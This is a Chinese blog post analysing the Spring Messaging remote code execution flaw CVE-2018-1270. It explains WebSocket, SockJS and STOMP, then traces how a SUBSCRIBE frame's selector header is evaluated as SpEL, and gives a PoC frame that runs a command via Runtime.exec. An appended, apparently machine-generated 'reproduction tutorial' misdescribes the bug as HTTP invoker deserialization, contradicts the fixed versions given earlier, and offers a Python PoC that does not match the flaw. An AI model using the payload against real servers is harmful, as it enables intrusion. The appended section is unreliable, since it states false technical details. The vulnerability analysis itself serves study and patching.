Spring Messaging 远程代码执行漏洞分析(CVE-2018-1270)

本文探讨了Spring Framework 5.0至5.0.4版本的远程命令执行漏洞(CVE-2018-1270),涉及WebSocket、SockJS和STOMP协议。通过实例展示了如何利用STOMP的selector漏洞进行攻击,并提供了修复方法和相关技术背景知识。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

漏洞公告:

https://tanzu.vmware.com/security/cve-2018-1270

影响版本:

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.15
  • Older unsupported versions are also affected

环境搭建:

https://github.com/spring-guides/gs-messaging-stomp-websocket
 
执行git checkout 2.0.0.RELEASE切换版本,该版本使用了存在漏洞的spring-messaging:5.0.4

相关知识

在分析这个漏洞之前,这里简单介绍相关的一些概念。详细内容请阅读文末罗列的参考资料。

WebSocket、SockJS和STOMP

WebSocket:是 HTML5 新增加特性之一,目的是浏览器与服务端建立全双工的通信方式,解决 http 请求-响应带来过多的资源消耗,同时对特殊场景应用提供了全新的实现方式,比如聊天、股票交易、游戏等对对实时性要求较高的行业领域。

HTTP与WebSocket都是基于TCP(传输控制协议)的,WebSocket可以看做是对http协议的一个补充,它复用HTTP/HTTPS的端口。

WebSocket协议提供了通过一个套接字实现全双工通信的功能。除了其他的功能之外,它能够实现Web浏览器和服务器之间的异步通信。全双工意味着服务器可以发送消息给浏览器,浏览器也可以发送消息给服务器。

SockJS:SockJS是一个JavaScript库,为了应对许多浏览器不支持WebSocket协议的问题,设计了备选SockJS。SockJS 是 WebSocket 技术的一种模拟。SockJS会尽可能对应 WebSocket API,但如果WebSocket 技术不可用的话,会自动降为轮询的方式。

WebSocket是一个相对比较新的规范,在Web浏览器和应用服务器上没有得到一致的支持。所以我们需要一种WebSocket的备选方案,而这恰恰是SockJS所擅长的。

SockJS是WebSocket技术的一种模拟,在表面上,它尽可能对应WebSocket API,但是在底层非常智能。如果WebSocket技术不可用的话,就会选择另外的通信方式。

SockJS会优先选择WebSocket进行连接,但是当服务器或客户端不支持WebSocket时,会自动在 XHR流、XDR流、iFrame事件源、iFrame HTML文件、XHR轮询、XDR轮询、iFrame XHR轮询、JSONP轮询 这几个方案中择优进行连接。

STOMP: 即 Simple Text Oriented Message Protocol——面向消息的简单文本协议。SockJS 为 WebSocket 提供了 备选方案。但无论哪种场景,对于实际应用来说,这种通信形式层级过低。STOMP协议,为浏览器 和 服务器之间的通信增加适当的消息语义。

三者的关系

简而言之,WebSocket 是底层协议,SockJS 是WebSocket 的备选方案,也是底层协议,而 STOMP 是基于 WebSocket(SockJS)的上层协议。

STOMP和WebSocket(SockJS)的关系,类似于HTTP和TCP。

(1)HTTP协议解决了 Web 浏览器发起请求以及 web 服务器响应请求的细节,假设 HTTP 协议 并不存在,只能使用 TCP 套接字来编写 web 应用,那将是一件非常痛苦的事情。

(2)直接使用 WebSocket(SockJS) 就很类似于 使用 TCP 套接字来编写 web 应用,因为没有高层协议,就需要我们定义应用间所发送消息的语义,还需要确保连接的两端都能遵循这些语义;

(3)同HTTP在TCP 套接字上添加请求-响应模型层一样,STOMP在WebSocket 之上提供了一个基于帧的线路格式层,用来定义消息语义;

WebSocket、SockJS、STOMP三者,从前往后,层级依次上升,就像洋葱,WebSocket在里面,SockJS其次,STOMP在最外面。如果我们使用建立在SockJS协议上的STOMP服务,而SockJS又选择WebSocket作为底层的通信协议。在通信过程中,STOMP帧会被组装成SockJS的帧;SockJS的帧会被组装成WebSocket的帧;再深一点,WebSocket的帧会被组装成TCP的帧;TCP的帧被组装成IP层的帧,然后传输;到远端后执行相反操作。

从分类上说,WebSocket和SockJS都只是通用的数据传输协议;而STOMP是一种消息协议,抽象层级更高。

STOMP的消息结构和示例

STOMP是一种基于帧的协议,其帧基于HTTP建模。STOMP消息帧结构如下:

COMMAND
header1:value1
header2:value2

Body^@

^@表示字符串结束符\x00

客户端可以使用SENDSUBSCRIBE命令发送订阅带有destination请求头的消息,destination描述了消息的内容以及应该接收该消息的人。

在使用Spring的STOMP支持时,Spring WebSocket应用程序充当客户端的STOMP代理。消息被路由到@Controller类的消息处理方法或一个简单的内存中代理,该代理跟踪订阅并将消息广播给订阅用户。你也可以配置Spring使用专用的STOMP代理(例如RabbitMQ, ActiveMQ等)来实际广播消息。在这种情况下,Spring维护与代理的TCP连接,将消息转发给代理,并将消息从代理向下传递到连接的WebSocket客户端。

示例1:客户端订阅股票报价

SUBSCRIBE
id:sub-1
destination:/topic/price.stock.*

^@

示例2:客户端发送交易请求

SEND
destination:/queue/trade
content-type:application/json
content-length:44

{"action":"BUY","ticker":"MMM","shares",44}^@

示例3:服务器发送股票报价给订阅客户端

MESSAGE
message-id:nxahklf6-1
subscription:sub-1
destination:/topic/price.stock.MMM

{"ticker":"MMM","price":129.45}^@

服务器不能发送未经请求的消息。来自服务器的所有消息都必须响应特定的客户端订阅,且服务器消息的subscription-id请求头必须与客户端订阅的id请求头匹配。

Spring Messaging

Spring Messaging是Spring框架中的一个模块,该模块为Spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS。

一旦公开了STOMP端点,Spring应用程序就成为已连接的客户端的STOMP代理(STOMP broker)。

下图显示了基于Spring的消息订阅程序,且使用内置的消息代理(SimpleBrokerMessageHandler)时的消息传递流程:
在这里插入图片描述
上图中,有3个消息通道(Channel):

  • clientInboundChannel:用于传递来自WebSocket客户端发来的消息。
  • clientOutboundChannel:用于向WebSocket客户端发送服务端消息。
  • brokerChannel:用于从服务器端、应用程序代码中向消息代理(message broker)发送消息。

下面结合本次漏洞复现的示例代码理一下工作流程。

前端:app.js

var stompClient = null;

function setConnected(connected) {
    $("#connect").prop("disabled", connected);
    $("#disconnect").prop("disabled", !connected);
    if (connected) {
        $("#conversation").show();
    }
    else {
        $("#conversation").hide();
    }
    $("#greetings").html("");
}

function connect() {
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        });
    });
}

function disconnect() {
    if (stompClient !== null) {
        stompClient.disconnect();
    }
    setConnected(false);
    console.log("Disconnected");
}

function sendName() {
    stompClient.send("/app/hello", {}, JSON.stringify({'name': $("#name").val()}));
}

function showGreeting(message) {
    $("#greetings").append("<tr><td>" + message + "</td></tr>");
}

$(function () {
    $("form").on('submit', function (e) {
        e.preventDefault();
    });
    $( "#connect" ).click(function() { connect(); });
    $( "#disconnect" ).click(function() { disconnect(); });
    $( "#send" ).click(function() { sendName(); });
});

后端:

WebSocketConfig.java

@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {
    public WebSocketConfig() {
    }

    public void configureMessageBroker(MessageBrokerRegistry config) {
        config.enableSimpleBroker(new String[]{"/topic"});
        config.setApplicationDestinationPrefixes(new String[]{"/app"});
    }

    public void registerStompEndpoints(StompEndpointRegistry registry) {
        registry.addEndpoint(new String[]{"/gs-guide-websocket"}).withSockJS();
    }
}

GreetingController.java

@Controller
public class GreetingController {
    public GreetingController() {
    }
    @MessageMapping({"/hello"})
    @SendTo({"/topic/greetings"})
    public Greeting greeting(HelloMessage message) throws Exception {
        Thread.sleep(1000L);
        return new Greeting("Hello, " + HtmlUtils.htmlEscape(message.getName()) + "!");
    }
}
  • (1) 客户端连接 http://localhost:8080/gs-guide-websocket进行握手,一旦握手成功,WebSocket连接建立,STOMP消息帧就在此连接上传输。

  • (2) 客户端发送带有destination: /topic/greetings请求头的SUBSCRIBE消息帧进行消息订阅。服务端接收并解码后,消息被发送到clientInboundChannel,然后路由到存储客户端订阅的消息代理(SimpleBrokerMessageHandler)。

  • (3) 客户端发送带有destination:/app/hello请求头的SEND消息帧。/app前缀有助于服务端将其路由到带注解的控制器。在/app前缀被剥离后,/hello部分被映射到GreetingController@MessagingMapping注解的greeting()方法。

  • (4) GreetingControler返回的值被转换成一个Spring Message,该Message带有基于返回值和destination: /topic/greetings请求头的消息负载。该Message被发送到brokerChannel 并被消息代理(SimpleBrokerMessageHandler)处理。

  • (5) 消息代理(SimpleBrokerMessageHandler)寻找所有匹配的订阅者,并通过clientOutboundChannel向每一个订阅者发送一个MESSAGE消息帧。

漏洞分析

从STOMP协议官方文档(参考[7])里可看到,STOMP允许客户端在SUBSCRIBE帧添加selector请求头在订阅的消息中过滤出自己想要的消息。
在这里插入图片描述


在这里插入图片描述

我们以调试模式运行上述应用,在GreetingController#greeting()下断点。在前端页面,先点击Connect按钮(执行WebSocket握手,握手成功后,往destination: /topic/greetings发送SUBSCRIBE帧进行消息订阅),然后在编辑框输入内容,再点击SEND按钮(往destination: /app/hello 发送SEND帧),断点命中,调试。

GreetingController#greeting()的返回值被转换为GenericMessage对象,被发送到ExecutorSubscribableChannel,并被消息代理SimpleBrokerMessageHandler处理。
在这里插入图片描述
在这里插入图片描述
消息代理(SimpleBrokerMessageHandler)要做的,就是寻找所有匹配的订阅者,并通过clientOutboundChannel向每一个订阅者发送一个MESSAGE消息帧。而就是在这个过程中,会根据客户端发送SUBSCRIBE进行消息订阅时添加的selector请求头的内容进行过滤。
在这里插入图片描述
漏洞就出在这部分代码,如果前面订阅的时候发送的SUBSCRIBE帧有包含selector请求头,那么这里就会对selector请求头的值进行SpEL表达式求值。


回头看一下发送SUBSCRIBE帧进行的消息订阅操作。

具体的添加订阅操作的代码是在DefaultSubsriptionRegistry$SessionSubscriptionInfo#getSubscription()方法中:
在这里插入图片描述
往上函数追溯,可以在DefaultSubsriptionRegistry#addSubscriptionInternal()方法中看到对selector请求头的处理:获取selector请求头的值,对其值进行SpEL表达式解析,得到一个SpelExpression对象。
在这里插入图片描述

PoC

["SUBSCRIBE\nselector:T(java.lang.Runtime).getRuntime().exec('open -a Calculator')\nid:sub-0\ndestination:/topic/greetings\n\n\u0000"]

burpsuite可以看到通过WebSocket传输的STOMP消息帧,所以利用burpsuite抓包,在SUBSCRIBE帧中添加selector请求头,其值插入恶意SpEL表达式,然后重放该SUBSCRIBE帧。然后再重放SEND消息帧便可触发RCE。

攻击演示如下gif:
在这里插入图片描述

漏洞修复

在Spring 5.0.5版本中,消息支持模块spring-messagingDefaultSubscriptionRegistry#findSubscriptionInternal()方法中,SpEL求值的上下文的位置处,使用权限更小的SimpleEvaluationContext来替换原来的StandardEvaluationContext

SimpleEvaluationContext只支持SpEL语言语法的一个子集,例如,不支持对Java类型、构造函数和bean的引用。

在这里插入图片描述
在这里插入图片描述

参考

[1] https://github.com/vulhub/vulhub/tree/master/spring
[2] https://docs.spring.io/spring-framework/docs/5.0.4.RELEASE/spring-framework-reference/web.html#websocket
[3] https://tanzu.vmware.com/security/
[4] https://python.iitter.com/other/194017.html
[5] https://juejin.cn/post/6844903655477346317
[6] https://www.cnblogs.com/goloving/p/14735257.html
[7] https://stomp.github.io/stomp-specification-1.2.html

### Spring CVE-2018-1270 漏洞复现教程 #### 背景介绍 Spring Framework 是一个广泛使用的 Java 开发框架,提供了丰富的功能来简化企业级应用开发。然而,在某些版本中存在安全漏洞,可能导致远程代码执行 (RCE) 的风险。CVE-2018-1270 就是一个典型的例子,它存在于 `org.springframework.messaging` 包中的 `Http invoker request deserialization` 功能中。 该漏洞允许攻击者通过发送恶意序列化的 HTTP 请求数据包触发 RCE 攻击[^4]。 --- #### 影响范围 此漏洞影响以下版本: - **Spring Framework 5.0 到 5.0.4** - **Spring Framework 4.3 到 4.3.14** 不受影响的修复版本为: - **5.0.x 用户应升级至 5.0.5** - **4.3.x 用户应升级至 4.3.15** --- #### 漏洞原理 当应用程序启用了基于 XML 或 JSON 的反序列化机制时,如果未正确验证输入的数据,则可能被利用来进行任意代码执行。具体来说,`AbstractRemoteInvocationHandler` 类会尝试解析传入的消息并调用目标对象的方法。由于缺乏严格的类型检查,攻击者可以注入恶意 payload 来实现远程命令执行[^3]。 --- #### 复现环境搭建 为了重现此漏洞,通常需要准备如下工具和资源: 1. **Docker 容器**: 使用 vulhub 提供的标准镜像快速部署测试环境。 2. **POC 工具**: 编写或下载可用的 Proof of Concept (PoC) 脚本用于模拟攻击行为。 以下是具体的步骤说明: ##### 步骤一:安装 Docker 和 Compose 确保本地机器上已经安装好 Docker 及其扩展组件 docker-compose。 ##### 步骤二:拉取漏洞演示镜像 运行以下命令获取官方提供的漏洞实验场景: ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/spring/CVE-2018-1270/ docker-compose up -d ``` 等待服务启动完成后访问地址确认正常工作状态。 ##### 步骤三:编写 PoC 测试脚本 下面展示了一个简单的 Python 实现方式作为参考案例之一: ```python import requests url = "http://localhost:8080/" payload = { 'exploit': '''T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')''' } try: response = requests.post(url, data=payload) print(response.text) except Exception as e: print(f"Error occurred: {e}") ``` 上述代码片段试图向服务器提交一段能够触碰文件 `/tmp/success` 的指令以证明控制权已被夺取成功与否可通过查看是否存在指定路径下的标记文件得知结果如何。 --- #### 验证效果 一旦完成以上操作流程之后再次登录容器内部检验预期成果是否达成即观察是否有新生成的目标文档出现表明整个过程顺利完成无误: ```bash docker-compose exec spring bash ls /tmp/ # 应能看到 success 文件 ``` --- #### 总结建议 针对此类高危级别的缺陷应当及时采取措施加以防范比如尽快迁移到最新稳定发行版或者关闭不必要的网络接口减少暴露面从而降低遭受潜在威胁的可能性同时也要定期审查第三方依赖库的安全公告以便第一时间响应相应更新通知。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值